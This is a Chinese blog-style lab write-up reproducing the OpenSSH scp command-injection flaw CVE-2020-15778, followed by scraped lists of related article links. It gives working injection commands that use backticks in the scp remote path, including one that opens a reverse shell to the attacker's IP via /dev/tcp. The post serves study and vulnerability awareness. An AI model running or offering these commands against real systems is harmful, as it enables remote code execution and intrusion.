Open SSH

OpenSSH 是用于使用 SSH 协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH 由 OpenBSD 项目的一些开发人员开发, 并以 BSD 样式的许可证提供,且已被集成到许多商业产品中。

漏洞简介

研究人员 Chinmay Pandya 在 openssh 的 scp 组件中发现了一个命令注入漏洞。OpenSSH 的 8.3p1 中的 scp 允许在 scp.c 远程功能中注入命令,攻击者可利用该漏洞执行任意命令。OpenSSH 8.3 p1及之前版本中的scp的scp.c文件存在命令注入漏洞。

scp介绍

scp 命令用于不同主机之间复制文件和目录。
scp 是 secure copy 的缩写,是 基于 ssh 协议进行安全的远程文件拷贝命令。
scp 想要免密进行复制,需要发送秘钥给相应的节点。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。

漏洞复现

攻击机kali202001 ip 192.168.177.137

靶机 kali ip 192.168.177.128

执行文件新建命令

复制当前目录下的 exp.sh到、etc目录下,执行新建passwd1.txt命令

sudo dcp ./exp.sh root@ip:'touch /etc/passwd1.txt`/etc/'

在靶机中查看etc目录,新建文件已经执行成功

ls |grep passwd //查看带有passwd字段名的文件

进行端口反弹

scp命令将可执行文件传入指定目录,同时反引号扣住执行命令,监听可执行语句执行结果:

bash -i >& /dev/tcp/192.168.177.137/8888 0>&1

或者直接输入bash进行命令执行,实现端口反弹

sudo scp test.txt root@192.168.177.128:'`bash -i >& /dev/tcp/192.168.177.137/8888 0>&1`/dev/test1.txt'

攻击机已经获取shell

漏洞分析

在向远程主机拷贝文件时,文件的路径会追加到本地 scp 命令后,当执行本地 scp 命令时,scp 不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效 scp 命令时,本地 shell 还将执行反引号中的命令

漏洞修复

输入以下命令查看openssh版本

ssh -V

官方尚未发布安全更新补丁,请密切关注厂商主页获取解决办法。

参考链接

https://www.secpulse.com/archives/136455.html

https://idc.wanyunshuju.com/wap/aqld/1714.html

https://www.cnblogs.com/mrhonest/p/13426971.html

免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

Open SSH CVE-2020-15778的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. Linux expect 用法

    expect是建立在tcl基础上的一个工具,它用来让一些需要交互的任务自动化地完成. 因为expect是基于tcl的,所以需要你的系统中安装有tcl 检查是否安装tcl,expect [root@ma ...

  3. 【漏洞通告】Linux Kernel 信息泄漏&权限提升漏洞(CVE-2020-8835)通告

    0x01漏洞简介: 3月31日, 选手Manfred Paul 在Pwn2Own比赛上用于演示Linux内核权限提升的漏洞被CVE收录,漏洞编号为CVE-2020-8835.此漏洞由于bpf验证系统在 ...

  4. SSH 创建证书认证

    *******chmod 600 195-tempuser.txt******* useradd tempusersu tempusercdmkdir .sshchmod 700 .sshcd .ss ...

  5. kali Linux 2020.1最新安装教程,亲身尝试,绝对能帮你安装好!不是root、没有桌面、中文乱码、下载太慢、ssh链接等问题!

    既然已经开始研究kali Linux,小编就认为在下已经有了一定的基础.当然小编也是个小白用户.本人用的是Vmware虚拟机,这里只说一点,内存我选择的是4g因为这个包含桌面,所以稍微大一点.Linx ...

  6. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

  7. linux 集群配置ssh无密码访问

    一.修改host文件 1) 用客户端工具(ssh client或者putty)连接到linux服务器.在root用户下输入命令 vi /etc/hosts,用vi编辑hosts文件,如下: #127. ...

  8. 分布式配置 SSH 免密登陆

    原地址忘记了,暂且记下 一.准备工作 1) 用客户端工具(ssh client或者putty)连接到linux服务器.在root用户下输入命令 vi /etc/hosts,用vi编辑hosts文件,如 ...

  9. SSH服务审计工具ssh-audit

    SSH服务审计工具ssh-audit   SSH服务是常见的远程访问服务.通过对SSH服务进行审计,可以尝试发现对应的漏洞.Kali Linux新增一款SSH服务审计工具ssh-audit.该工具支持 ...

  10. rsync 使用ssh协议免密

    rsync远程传输避免密码输入 每次rsync远程传输时都需要输入用户在远程机器上的密码,这样导致无法在后台自动运行rsync,可采用秘钥文件来替代人工输入密码的方式来解决. 第一步 在本地机器上使用 ...

随机推荐

  1. 自学linux——13.Linux下mysql的安装

    MySQL数据库 1.数据库联系 2.软件安装 (1)源码包安装 优点:开源,可以修改源代码编译安装,更加适合自己的系统,稳定高效 缺点:安装步骤较多,容易出错编译过程时间较长 常用语法: #tar  ...

  2. web服务器是啥

    什么是web服务器 参考 https://www.cnblogs.com/zhaoyl/archive/2012/10/10/2718575.html 了解nginx之前,先了解下什么是web服务器吧 ...

  3. 浅谈树链剖分 F&Q

    这是一篇迟来的博客,由于我懒得写文章,本篇以两个问题阐述笔者对树链剖分的初步理解. Q1:树链剖分解决什么问题? 树链剖分,就是把一棵树剖分成若干连续的链,将这些链里的数据映射在线性数组上维护.比方说 ...

  4. 为什么90%的大学都要求计算机专业学习C语言?

    编程语言是编程的工具,计算机相关专业的学生必须具备足够的编程能力.当然,关于"最好语言"的争论从来没有休止过,这里要强调一下:语言的选择真的没那么重要,学习语言的过程最重要是语言的 ...

  5. javaAgent与pinpoint

    转载:https://www.cnblogs.com/kokov/p/12120033.html 项目中pinpoint应用:

  6. nacos单机,集群安装部署

    nacos单机启动 准备 下载nacos安装包 下载地址 准备centos环境 (本次测试使用docker) PS C:\Users\Administrator> docker run -tid ...

  7. 六. Vue CLI详解

    1. Vue CLI理解 1.1 什么是Vue CLI 如果你只是简单写几个Vue的Demo程序, 那么你不需要Vue CLI,如果你在开发大型项目那么你需要它, 并且必然需要使用Vue CLI. 使 ...

  8. 注册dll命令

    向系统中注册dll的方法,如下(直接回车即可注册): regsvr32

  9. day1(Django路径问题)

    1.python中的三种路径 1.1 操作系统文件绝对路径 django 静态文件查找, 模板查找(第一种) # 去配置好的 文件夹 中查找指定的文件 BASE_DIR = os.path.dirna ...

  10. 老猿Python部分代码样例

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 PyQt编程实战:通过eventFilter监视QScrollArea的widget()的Paint ...